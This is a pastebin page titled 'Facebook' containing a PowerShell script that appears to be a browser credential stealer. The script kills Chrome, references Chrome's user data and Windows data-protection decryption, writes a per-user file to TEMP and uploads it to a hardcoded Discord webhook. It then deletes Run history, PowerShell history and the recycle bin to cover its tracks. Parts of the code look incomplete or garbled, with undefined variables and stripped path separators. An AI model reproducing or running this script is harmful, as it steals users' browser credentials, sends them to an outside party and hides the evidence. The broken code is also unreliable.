Facebook
From asd, 2 Months ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 246
  1. $FileName = "$env:USERNAME$_User-VJMI.txt"
  2.  
  3. Stop-Process -Name Chrome -ErrorAction SilentlyContinue
  4.  
  5. $d = Add-Type -ErrorAction Stop -PassThru -AssemblyName System.Security
  6. $p = 'public static'
  7. $g = """)]$p extern"
  8. $i = '[DllImport("winsqlite3",EntryPoint="sqlite3_'
  9. $m = "[MarshalAs(UnmanagedType.LP"
  10. $q = '(s,i)'
  11. $f = '(p s,int i)'
  12. $z = "$env:LOCALAPPDATAGoogleChromeUser Data"
  13. $u = [Security.Cryptography.ProtectedData]
  14.  
  15. $l | Out-File -FilePath "$env:TEMP$FileName" -Encoding UTF8
  16.  
  17. $pathToChrome = 'C:Program Files (x86)GoogleChromeApplicationchrome.exe'
  18. Start-Process -FilePath $pathToChrome
  19.  
  20. function Upload-Discord {
  21.     [CmdletBinding()]
  22.     param (
  23.         [parameter(Position=0, Mandatory=$false)]
  24.         [string]$file,
  25.         [parameter(Position=1, Mandatory=$false)]
  26.         [string]$text
  27.     )
  28.  
  29.     $hookurl = "https://discord.com/api/webhooks/1207392478848745542/2S-UVgHK5tfva-9f0wBCnyhkZ6lRVOEuoMRgpjoEaE-Wpg_PnGX1vZfn5gSnkzBr2Tgd"
  30.  
  31.     if (-not [string]::IsNullOrEmpty($text)){
  32.         $Body = @{
  33.             'username' = $env:username
  34.             'content' = $text
  35.         }
  36.         Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)
  37.     }
  38.  
  39.     if (-not [string]::IsNullOrEmpty($file)){
  40.         curl.exe -F "file1=@$file" $hookurl
  41.     }
  42. }
  43.  
  44. if (-not [string]::IsNullOrEmpty($FileName)){
  45.     Upload-Discord -file "$env:TEMP$FileName"
  46. }
  47.  
  48. Remove-Item -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU" -Force -ErrorAction SilentlyContinue
  49. Remove-Item -Path (Get-PSreadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
  50. Clear-RecycleBin -Force -ErrorAction SilentlyContinue
  51.  
  52. Exit
  53.